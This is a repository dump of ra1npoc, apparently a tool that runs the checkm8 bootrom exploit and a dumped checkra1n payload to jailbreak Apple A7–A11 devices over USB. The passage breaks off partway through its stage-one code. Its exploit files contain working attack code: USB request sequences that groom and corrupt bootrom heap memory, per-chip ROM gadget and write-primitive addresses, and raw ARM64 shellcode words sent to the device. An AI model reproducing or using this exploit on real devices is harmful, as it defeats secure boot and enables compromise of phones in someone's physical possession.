Showing preview only (356K chars total). Download the full file or copy to clipboard to get everything.
Repository: dora2-iOS/ra1npoc
Branch: ios15
Commit: b04f9536a0c5
Files: 38
Total size: 341.6 KB
Directory structure:
gitextract_guufdpmv/
├── .gitattributes
├── .gitignore
├── .gitmodules
├── LICENSE
├── Makefile
├── README.md
├── README_JP.md
├── ent.xml
├── exploit/
│ ├── common.c
│ ├── new.c
│ ├── old.c
│ └── shellcode/
│ ├── .gitignore
│ ├── build.sh
│ └── readme.txt
├── headers/
│ ├── .gitignore
│ ├── .keep
│ ├── build.sh
│ ├── legacy_kpf
│ ├── legacy_ramdisk
│ └── readme.txt
├── helper/
│ ├── pongoterm.c
│ └── recovery.c
├── include/
│ ├── common/
│ │ ├── common.h
│ │ ├── log.h
│ │ └── log2.h
│ ├── lz4dec_asm.h
│ ├── pongoterm.h
│ ├── ra1npoc.h
│ └── recovery.h
├── lz4/
│ ├── lib/
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── lz4.c
│ │ ├── lz4.h
│ │ ├── lz4_main.h
│ │ ├── lz4hc.c
│ │ └── lz4hc.h
│ └── lz4_main.c
└── main.c
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
# Auto detect text files and perform LF normalization
* text=auto
================================================
FILE: .gitignore
================================================
.DS_Store
ra1npoc15_*
ios_headers/
================================================
FILE: .gitmodules
================================================
[submodule "io"]
path = io
url = https://github.com/kok3shidoll/iousb
================================================
FILE: LICENSE
================================================
For licenses other than LZ4, see below.
MIT License
Copyright (c) 2021 - 2023 kok3shidoll
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
RPVERSION ?= 3.3.1-$(shell git rev-parse HEAD | cut -c1-8)
C_FLAGS ?= -Iinclude -Wall $(CFLAGS) -DRPVERSION=\"$(RPVERSION)\"
LD_FLAGS ?= -framework CoreFoundation -framework IOKit $(LDFLAGS)
IOS_C_FLAGS ?= -DIPHONEOS_ARM -Iios_headers -Wno-availability
MAC_LD_FLAGS ?= -mmacosx-version-min=10.11
IOS_LD_FLAGS ?= -miphoneos-version-min=9.0
DEV_LD_FLAGS ?= -DDEVBUILD=1
REL_LD_FLAGS ?= -Wno-deprecated-declarations
RP_FLAGS ?= -DRA1NPOC_MODE=1
#BR_FLAGS ?= -DBAKERA1N_MODE=1
C_FLAGS += -Ilz4/lib
.PHONY: all debug ios clean
all: debug ios
debug: \
main.c \
helper/pongoterm.c \
helper/recovery.c \
io/iousb.c \
exploit/common.c \
exploit/old.c \
exploit/new.c \
lz4/lz4_main.c \
lz4/lib/lz4.c \
lz4/lib/lz4hc.c \
rm -rf ios_headers
mkdir ios_headers
ln -s $(shell xcrun -sdk macosx -show-sdk-path)/usr/include/libkern ios_headers
ln -s $(shell xcrun -sdk macosx -show-sdk-path)/System/Library/Frameworks/IOKit.framework/Headers ios_headers/IOKit
cd exploit/shellcode/ && ./build.sh
cd headers/ && ./build.sh
cd lz4/lib/ && make clean
cd lz4/lib/ && make macos
xcrun -sdk macosx clang $(C_FLAGS) -o ra1npoc15_$@_macosx $^ $(LD_FLAGS) $(MAC_LD_FLAGS) $(DEV_LD_FLAGS) $(RP_FLAGS) -O3 -arch arm64 -arch x86_64
xcrun -sdk iphoneos clang $(C_FLAGS) $(IOS_C_FLAGS) -o ra1npoc15_$@_ios $^ $(LD_FLAGS) $(IOS_LD_FLAGS) $(DEV_LD_FLAGS) $(RP_FLAGS) -O3 -arch arm64
ldid -Sent.xml ra1npoc15_$@_ios
ios: \
main.c \
helper/pongoterm.c \
helper/recovery.c \
io/iousb.c \
exploit/common.c \
exploit/old.c \
exploit/new.c \
lz4/lz4_main.c \
rm -rf ios_headers
mkdir ios_headers
ln -s $(shell xcrun -sdk macosx -show-sdk-path)/usr/include/libkern ios_headers
ln -s $(shell xcrun -sdk macosx -show-sdk-path)/System/Library/Frameworks/IOKit.framework/Headers ios_headers/IOKit
cd exploit/shellcode/ && ./build.sh
cd headers/ && ./build.sh
cd lz4/lib/ && make clean
cd lz4/lib/ && make ios
xcrun -sdk iphoneos clang $(C_FLAGS) $(IOS_C_FLAGS) -o ra1npoc15_$@ $^ lz4/lib/lz4.o lz4/lib/lz4hc.o $(LD_FLAGS) $(IOS_LD_FLAGS) $(REL_LD_FLAGS) $(RP_FLAGS) -arch arm64
ldid -Sent.xml ra1npoc15_$@
clean:
cd lz4/lib/ && make clean
rm -rf ios_headers
rm -f ra1npoc15_*
rm -f headers/legacy_kpf.h
rm -f headers/legacy_ramdisk.h
================================================
FILE: README.md
================================================
# ra1npoc
checkra1n dump and poc for iOS
A tool for re-jailbreak devices jailbroken by checkra1n/odysseyra1n on iOS/iPadOS/macOS platforms.
## Notes
This is the demonstration code for running checkra1n on iOS, based on the Payload dumped from checkra1n 0.1337.x.
Please do not run on normal devices.
## Support
### iOS device you want to Jailbreak
| chip | name |
|---------|----------|
| S5L8960 | Apple A7 |
| T7000 | Apple A8 |
| T7001 | Apple A8X |
| S8000 | Apple A9 |
| S8003 | Apple A9 |
| S8001 | Apple A9X |
| T8010 | Apple A10 |
| T8011 | Apple A10X |
| T8012 | Apple T2 |
| T8015 | Apple A11 |
### Host-side device (device to run this software)
- iOS 12 - 17
- via lightning to USB camera adapter
- iOS 9 - 17
- via lightning to USB camera adapter + power supply
## Build
```
git submodule update --init --recursive
make
```
## Run
```
Usage: ./ra1npoc15 [-r] [-hcyEsv] [-e <boot-args>] [-k <override_pongo>]
mode:
-r, --ra1npoc : start with legacy ra1npoc mode
options:
-c, --cleandfu : use clean dfu
-y, --yolodfu : use download mode (yoloDFU)
-E, --early-exit : exit after uploading Pongo
-k, --override-pongo <path> : override Pongo image
-e, --extra-bootargs <args> : replace bootargs
-s, --safemode : enable safe mode
-v, --verbose-boot : enable verbose boot
help:
-h, --help : show usage
```
- `--ra1npoc` mode is compatible with the old build.
- iOS 15+ only support boot pongoOS. Plase be sure to add the `-E` flag.
### Example
- Boot pongoOS from DFU mode
```
./ra1npoc15 -rE
```
- Boot any `pongoOS.bin` from DFU mode
```
./ra1npoc15 -rEk <Pongo.bin>
```
- Jailbreak iOS 12 - 14 devices already jailbroken with checkra1n from Recovery mode
```
./ra1npoc15 -rc
```
## How to use
[ra1npoc - How to use](https://kok3shidoll.github.io/info/ra1npoc/usage.html)
## Credit
checkra1n team: checkra1n
axi0mX: checkm8 exploit
license: MIT
================================================
FILE: README_JP.md
================================================
# ra1npoc
checkra1n dump and poc for iOS
A tool for re-jailbreak devices jailbroken by checkra1n/odysseyra1n on iOS/iPadOS/macOS platforms.
## 注意
これはcheckra1n 0.1337.xからダンプしたPayloadに基づいて作成された、iOS上でcheckra1nを動かすための実証コードです。
このツールは検証用です。通常のデバイスでは実行しないでください。
## サポート
### JailbreakしたいiOSデバイス
| chip | name |
|---------|----------|
| S5L8960 | Apple A7 |
| T7000 | Apple A8 |
| T7001 | Apple A8X |
| S8000 | Apple A9 |
| S8003 | Apple A9 |
| S8001 | Apple A9X |
| T8010 | Apple A10 |
| T8011 | Apple A10X |
| T8012 | Apple T2 |
| T8015 | Apple A11 |
### ホスト側のデバイス (このソフトウェアを実行する側)
- iOS 12 - 17
- 動作確認済 (lightning to USB camera adapter 経由)
- iOS 9 - 17
- 動作確認済 (lightning to USB camera adapter + 電源供給)
## ビルド
```
git submodule update --init --recursive
make
```
## 実行
```
Usage: ./ra1npoc15 [-r] [-hcyEsv] [-e <boot-args>] [-k <override_pongo>]
mode:
-r, --ra1npoc : start with legacy ra1npoc mode
options:
-c, --cleandfu : use clean dfu
-y, --yolodfu : use download mode (yoloDFU)
-E, --early-exit : exit after uploading Pongo
-k, --override-pongo <path> : override Pongo image
-e, --extra-bootargs <args> : replace bootargs
-s, --safemode : enable safe mode
-v, --verbose-boot : enable verbose boot
help:
-h, --help : show usage
```
- `--ra1npoc`モードは旧ビルド互換です。
### 例
- DFU modeからpongoOSを起動する
```
./ra1npoc15 -rE
```
- DFU modeから任意のpongoOS.binを起動する
```
./ra1npoc15 -rEk <Pongo.bin>
```
- Recovery modeからiOS 14のデバイスをverbose bootでre-jailbreakする
```
./ra1npoc15 -rcv
```
## 使い方
[ra1npoc - How to use](https://kok3shidoll.github.io/info/ra1npoc/usage.html)
## Credit
checkra1n team: checkra1n
axi0mX: checkm8 exploit
license: MIT
================================================
FILE: ent.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>platform-application</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
<key>com.apple.security.iokit-user-client-class</key>
<array>
<string>IOUserClient</string>
</array>
</dict>
</plist>
================================================
FILE: exploit/common.c
================================================
/*
* ra1npoc - exploit/common.c
*
* Copyright (c) 2021 - 2023 kok3shidoll
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <io/iousb.h>
#include <common/log.h>
#include <common/common.h>
#if defined(RA1NPOC_MODE)
RA1NPOC_API transfer_t USBReqStall(client_t *client)
{
return IOUSBControlTransferTO(client, 2, 3, 0x0000, 128, NULL, 0, 10);
}
RA1NPOC_API transfer_t USBReqLeak(client_t *client, unsigned char* blank)
{
return IOUSBControlTransferTO(client, 0x80, 6, 0x0304, 0x040a, blank, EP0_MAX_PACKET_SZ, 1);
}
#endif
RA1NPOC_API transfer_t sendData(client_t *client, unsigned char* buf, size_t size)
{
return IOUSBControlTransfer(client, 0x21, 1, 0x0000, 0x0000, buf, size);
}
RA1NPOC_API transfer_t sendDataTO(client_t *client, unsigned char* buf, size_t size, int timeout)
{
return IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, buf, size, timeout);
}
RA1NPOC_API transfer_t getStatus(client_t *client, unsigned char* buf, size_t size)
{
return IOUSBControlTransfer(client, 0xa1, 3, 0x0000, 0x0000, buf, size);
}
RA1NPOC_API transfer_t sendAbort(client_t *client)
{
return IOUSBControlTransferTO(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
}
#if defined(RA1NPOC_MODE)
RA1NPOC_API const char *IOReturnName(IOReturn res)
{
if(res == kIOReturnSuccess)
return "Success";
if(res == kIOReturnTimeout || res == kIOUSBTransactionTimeout)
return "Timeout";
if(res == kIOUSBPipeStalled || res == kUSBHostReturnPipeStalled)
return "PipeStalled";
if(res == kIOReturnNotResponding)
return "NotResponding";
if(res == kIOReturnNoDevice)
return "NoDevice";
if(res == kIOReturnAborted)
return "Aborted";
if(res == kIOReturnError)
return "Error";
return "Unknow";
}
RA1NPOC_API int isStalled(IOReturn res)
{
if(res == kIOUSBPipeStalled || res == kUSBHostReturnPipeStalled)
return 1;
return 0;
}
RA1NPOC_API int isTimeout(IOReturn res)
{
if(res == kIOReturnTimeout || res == kIOUSBTransactionTimeout)
return 1;
return 0;
}
RA1NPOC_API void preRetry(client_t *client, unsigned int i)
{
__unused transfer_t result;
memset(&blank, '\x0', EP0_MAX_PACKET_SZ);
DEVLOG("Retry %d", i);
usleep(10000);
result = sendData(client, blank, EP0_MAX_PACKET_SZ); // send blank data and redo the request.
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
usleep(10000);
}
#endif
// function used when there is no bug in A9
RA1NPOC_API int sendPongo_orig(client_t *client, const void* pongoBuf, const size_t pongoLen)
{
__unused transfer_t result;
{
size_t len = 0;
size_t size;
while(len < pongoLen)
{
size = ((pongoLen - len) > DFU_MAX_TRANSFER_SZ) ? DFU_MAX_TRANSFER_SZ : (pongoLen - len);
result = sendData(client, (unsigned char*)&pongoBuf[len], size);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
if(result.wLenDone != size || result.ret != kIOReturnSuccess)
{
ERR("Failed to send pongoOS");
return -1;
}
len += size;
}
}
result = sendAbort(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
return 0;
}
RA1NPOC_API int sendPongo(client_t *client, const void* pongoBuf, const size_t pongoLen)
{
__unused transfer_t result;
{
size_t len = 0;
size_t size;
while(len < pongoLen)
{
retry:
size = ((pongoLen - len) > DFU_MAX_TRANSFER_SZ) ? DFU_MAX_TRANSFER_SZ : (pongoLen - len);
result = sendDataTO(client, (unsigned char*)&pongoBuf[len], size, 1000);
DEVLOG("send[0x%08x/0x%08x] size:0x%08x -> result: 0x%04x (%s)", (int)len, (int)pongoLen, (int)size, result.ret, IOReturnName(result.ret));
if((result.ret == kIOReturnTimeout) || (result.ret == kIOUSBTransactionTimeout))
{
// checkra1n 0.1337.1 has a bug that sometimes causes packet transmission on yoloDFU to fail for A9 devices
// if we get a timeout here, it should work simply by starting over, since it has not actually been sent yet.
DEVLOG("Timeout to send[0x%08x/0x%08x] size:0x%04x, retry this", (int)len, (int)pongoLen, (int)size);
usleep(10000);
goto retry;
}
if(result.wLenDone != size || (result.ret != kIOReturnSuccess))
{
// what we encounter here is clearly a failure.
ERR("Failed to send pongoOS");
return -1;
}
len += size;
}
}
// send abort and boot pongoOS
result = sendAbort(client);
DEVLOG("Send abort -> result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
return 0;
}
================================================
FILE: exploit/new.c
================================================
/*
* ra1npoc - exploit/new.c
*
* Copyright (c) 2021 - 2023 kok3shidoll
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <io/iousb.h>
#include <common/log.h>
#include <common/common.h>
#include "shellcode/src/s5l8960.h"
#include "shellcode/src/t7000.h"
#include "shellcode/src/t7001.h"
#include "shellcode/src/s8000.h"
#include "shellcode/src/s8003.h"
#include "shellcode/src/s8001.h"
#include "shellcode/src/t8010.h"
#include "shellcode/src/t8011.h"
#include "shellcode/src/t8012.h"
#include "shellcode/src/t8015.h"
static checkra1n_payload_t payload;
// WXN is enable on ROM for A9X and later
RA1NPOC_STATIC_API static bool isWNX(uint64_t cpid)
{
if((cpid == 0x8015) /* Apple A11 */ ||
(cpid == 0x8012) /* Apple T2 */ ||
(cpid == 0x8011) /* Apple A10X */ ||
(cpid == 0x8010) /* Apple A10 */ ||
(cpid == 0x8001) /* Apple A9X */ )
{
return true;
}
return false;
}
RA1NPOC_STATIC_API static int setupStage(client_t *client, uint16_t cpid)
{
transfer_t result;
int i = 0;
LOG("Setting up the checkm8 exploit");
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
unsigned int push = 0;
unsigned int size = 0;
unsigned int loop = 0;
unsigned int timeout = 0;
unsigned int abort_timeout = 0;
UInt32 sent = 0;
/* Apple A8 */
if(cpid == 0x7000)
{
push = 0x500;
timeout = 5;
abort_timeout = 1000;
}
/* Apple A8X */
if(cpid == 0x7001)
{
push = 0x500;
timeout = 5;
abort_timeout = 1000;
}
/* Apple A9 */
if(cpid == 0x8000)
{
push = 0x500;
timeout = 5;
abort_timeout = 1000;
}
if(cpid == 0x8003)
{
push = 0x500;
timeout = 5;
abort_timeout = 1000;
}
/* Apple A9X */
if(cpid == 0x8001)
{
push = 0x7C0;
loop = 1;
timeout = 5;
abort_timeout = 1000;
}
/* Apple A10 */
if(cpid == 0x8010)
{
push = 0x7C0;
loop = 1;
timeout = 5;
abort_timeout = 100;
}
/* Apple A10X */
if(cpid == 0x8011)
{
push = 0x540;
loop = 6;
timeout = 5;
abort_timeout = 100;
}
/* Apple T2 */
if(cpid == 0x8012)
{
push = 0x540;
loop = 6;
timeout = 5;
abort_timeout = 100;
}
/* Apple A11 */
if(cpid == 0x8015)
{
push = 0x540;
loop = 6;
timeout = 5;
abort_timeout = 100;
}
// transfer test
result = IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, blank, DFU_MAX_TRANSFER_SZ, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
while(1)
{
sent = IOUSBAsyncControlTransferWithCancel(client, 0x21, 1, 0x0000, 0x0000, blank, push + 0x40, timeout, abort_timeout);
if(sent >= push)
goto retry;
size = push;
size -= sent;
DEVLOG("Sent 0x%08x", (unsigned int)sent);
result = IOUSBControlTransferTO(client, 0, 0, 0x0000, 0x0000, blank, size, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
if(isStalled(result.ret))
break;
retry:
i++;
preRetry(client, i);
abort_timeout += 100;
if(i%10 == 0)
{
usleep(500000);
}
}
if(isWNX(cpid))
{
while(1)
{
sent = IOUSBAsyncControlTransferWithCancel(client, 0x80, 6, 0x0304, 0x040a, blank, 3 * EP0_MAX_PACKET_SZ, 100, 1);
DEVLOG("Sent 0x%08x", (unsigned int)sent);
result = USBReqLeak(client, blank);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
if(sent != (3 * EP0_MAX_PACKET_SZ) && isTimeout(result.ret))
break;
}
}
else
{
result = USBReqStall(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = USBReqLeak(client, blank);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
}
if(isWNX(cpid))
{
for(i=0; i<loop; i++)
{
result = USBReqStall(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
}
}
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
result = IOUSBControlTransferTO(client, 0x21, 4, 0x0000, 0x0000, blank, 3 * EP0_MAX_PACKET_SZ + 1, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
usleep(100000);
return 0;
}
RA1NPOC_STATIC_API static int triggerStage(client_t *client, checkra1n_payload_t payload)
{
__unused transfer_t result;
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
result = USBReqStall(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = USBReqStall(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
uint64_t* p = (uint64_t*)blank;
p[5] = payload.next;
result = IOUSBControlTransferTO(client, 0, 0, 0x0000, 0x0000, (unsigned char *)p, 0x30, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
{
size_t len = 0;
size_t size;
while(len < payload.stage1_len)
{
size = ((payload.stage1_len - len) > DFU_MAX_TRANSFER_SZ) ? DFU_MAX_TRANSFER_SZ : (payload.stage1_len - len);
result = sendDataTO(client, (unsigned char*)&payload.stage1[len], size, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
len += size;
}
}
result = sendAbort(client);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
sleep(1);
return 0;
}
RA1NPOC_STATIC_API static int ra1npocCheckmate(client_t *client, checkra1n_payload_t payload, uint16_t cpid)
{
if(setupStage(client, cpid))
{
ERR("Failed to setup checkm8");
client = NULL;
return -1;
}
usleep(500000);
LOG("Reconnecting device");
if(IOUSBConnect(client, kDeviceDFUModeID, 5, (kDeviceUSBResetDevice|kDeviceUSBReEnumerate), 10000))
{
ERR("Failed to reconnect to device");
client = NULL;
return -1;
}
LOG("Found DFU mode device");
usleep(100000);
if(triggerStage(client, payload))
{
ERR("Failed to trigger checkm8");
client = NULL;
return -1;
}
return 0;
}
RA1NPOC_STATIC_API static int ra1npocCheckmateA7(client_t *client, checkra1n_payload_t payload)
{
transfer_t result;
int i = 0;
LOG("Setting up the checkm8 exploit");
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
result = IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, blank, DFU_MAX_TRANSFER_SZ, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
unsigned int push = 0x7C0;
unsigned int size = 0;
UInt32 sent = 0;
unsigned int timeout = 10000;
unsigned int abort_timeout = timeout - 1;
while(1)
{
sent = IOUSBAsyncControlTransferWithCancel(client, 0x21, 1, 0x0000, 0x0000, blank, push+0x40, timeout, abort_timeout);
if(sent >= push)
goto retry;
size = push;
size -= sent;
DEVLOG("Sent 0x%08x", (unsigned int)sent);
result = IOUSBControlTransferTO(client, 0, 0, 0x0000, 0x0000, blank, size, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
if(isStalled(result.ret))
break;
retry:
i++;
preRetry(client, i);
abort_timeout++;
}
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
result = IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, NULL, 0, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = IOUSBControlTransferTO(client, 0xa1, 3, 0x0000, 0x0000, blank, 6, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = IOUSBControlTransferTO(client, 0xa1, 3, 0x0000, 0x0000, blank, 6, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
timeout = 1000;
abort_timeout = timeout - 1;
while(1)
{
sent = IOUSBAsyncControlTransferWithCancel(client, 0x80, 6, 0x0304, 0x040a, blank, 128, timeout, abort_timeout);
DEVLOG("Sent 0x%08x", (unsigned int)sent);
result = IOUSBControlTransferTO(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
if(sent != 128 && isTimeout(result.ret))
break;
}
result = IOUSBControlTransferTO(client, 0x02, 3, 0x0000, 128, NULL, 0, 10);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = IOUSBControlTransferTO(client, 0x80, 8, 0x0000, 0x0000, blank, 129, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
usleep(500000);
LOG("Reconnecting device");
if(IOUSBConnect(client, kDeviceDFUModeID, 5, (kDeviceUSBResetDevice|kDeviceUSBReEnumerate), 10000))
{
ERR("Failed to reconnect to device");
client = NULL;
return -1;
}
LOG("Found DFU mode device");
usleep(100000);
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
uint64_t* p = (uint64_t*)blank;
p[0] = 0x0000000000000000;
p[1] = 0x52b0070110201d80;
p[2] = 0xd2c00020b9000001;
p[3] = 0xd61f0000f2808480;
p[4] = 0x0000000180082bc8;
p[5] = 0x0000000000000000;
result = IOUSBControlTransferTO(client, 0x02, 3, 0x0000, 128, (unsigned char *)p, 0x30, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
{
size_t len = 0;
size_t size;
while(len < payload.stage1_len)
{
size = ((payload.stage1_len - len) > DFU_MAX_TRANSFER_SZ) ? DFU_MAX_TRANSFER_SZ : (payload.stage1_len - len);
result = sendDataTO(client, (unsigned char*)&payload.stage1[len], size, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
len += size;
}
}
result = IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, (unsigned char *)p, 0x30, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
memset(&blank, '\0', DFU_MAX_TRANSFER_SZ);
result = IOUSBControlTransferTO(client, 0x21, 1, 0x0000, 0x0000, NULL, 0, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = IOUSBControlTransferTO(client, 0xa1, 3, 0x0000, 0x0000, NULL, 0, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
result = IOUSBControlTransferTO(client, 0xa1, 3, 0x0000, 0x0000, NULL, 0, 100);
DEVLOG("Result 0x%08x (%s)", result.ret, IOReturnName(result.ret));
usleep(500000);
LOG("Reconnecting device");
if(IOUSBConnect(client, kDeviceDFUModeID, 5, (kDeviceUSBResetDevice|kDeviceUSBReEnumerate), 10000))
{
ERR("Failed to reconnect to device");
client = NULL;
return -1;
}
LOG("Found DFU mode device");
return 0;
}
RA1NPOC_STATIC_API static int generateStage1(uint16_t cpid, void **stage1Buf, size_t *stage1Len)
{
unsigned char* buf = NULL;
size_t size = 0;
void* shellcode = NULL;
size_t shellcodeLen = 0;
uint64_t base_address = 0;
uint64_t func_gadget = 0;
uint64_t write_prim = 0;
uint64_t write_prim2 = 0;
uint64_t arm_clean_invalidate_dcache_line = 0;
uint64_t arm_invalidate_icache = 0;
uint64_t enter_critical_section = 0;
uint64_t exit_critical_section = 0;
uint64_t write_ttbr0 = 0;
uint64_t tlbi = 0;
uint64_t TTBR0_PATCH_BASE = 0;
uint64_t TTBR0_BASE = 0;
uint64_t bootstrap_task_lr = 0;
uint32_t payload_start_offset = 0;
switch(cpid)
{
case 0x8960:
// A7 should not be here.
return 0;
case 0x7000:
base_address = 0x180380000;
func_gadget = 0x10000ddf4;
write_prim = 0x10000bc2c;
arm_clean_invalidate_dcache_line = 0x100000448;
arm_invalidate_icache = 0x100000424;
bootstrap_task_lr = 0x1800c2f68;
payload_start_offset = 0xc0;
shellcodeLen = t7000_bin_len;
shellcode = t7000_bin;
break;
case 0x7001:
base_address = 0x180380000;
func_gadget = 0x100010df4;
write_prim = 0x10000ed5c;
arm_clean_invalidate_dcache_line = 0x100000448;
arm_invalidate_icache = 0x100000424;
bootstrap_task_lr = 0x1800c2f68;
payload_start_offset = 0xc0;
shellcodeLen = t7001_bin_len;
shellcode = t7001_bin;
break;
case 0x8000:
base_address = 0x180380000;
func_gadget = 0x10000de0c;
write_prim2 = 0x100001bc0;
arm_clean_invalidate_dcache_line = 0x10000042c;
arm_invalidate_icache = 0x100000408;
bootstrap_task_lr = 0x1800c2f58;
payload_start_offset = 0xc0;
shellcodeLen = s8000_bin_len;
shellcode = s8000_bin;
break;
case 0x8003:
base_address = 0x180380000;
func_gadget = 0x10000de0c;
write_prim2 = 0x100001bc0;
arm_clean_invalidate_dcache_line = 0x10000042c;
arm_invalidate_icache = 0x100000408;
bootstrap_task_lr = 0x1800c2f58;
payload_start_offset = 0xc0;
shellcodeLen = s8003_bin_len;
shellcode = s8003_bin;
break;
case 0x8001:
base_address = 0x180000000;
func_gadget = 0x10000cd38;
write_prim2 = 0x100001a78;
arm_clean_invalidate_dcache_line = 0x10000043c;
arm_invalidate_icache = 0x100000418;
enter_critical_section = 0x100009b24;
exit_critical_section = 0x100009b88;
write_ttbr0 = 0x1000003b4;
tlbi = 0x100000404;
TTBR0_PATCH_BASE = 0x180004000;
TTBR0_BASE = 0x50000;
bootstrap_task_lr = 0x180059f58;
payload_start_offset = 0x600;
shellcodeLen = s8001_bin_len;
shellcode = s8001_bin;
break;
case 0x8010:
base_address = 0x1800b0000;
func_gadget = 0x10000cc44;
write_prim2 = 0x100001808;
arm_clean_invalidate_dcache_line = 0x10000046c;
arm_invalidate_icache = 0x100000448;
enter_critical_section = 0x10000A4B8;
exit_critical_section = 0x10000A514;
write_ttbr0 = 0x1000003E4;
tlbi = 0x100000434;
TTBR0_PATCH_BASE = 0x1800b4000;
TTBR0_BASE = 0xa0000;
bootstrap_task_lr = 0x1800a9f68;
payload_start_offset = 0x600;
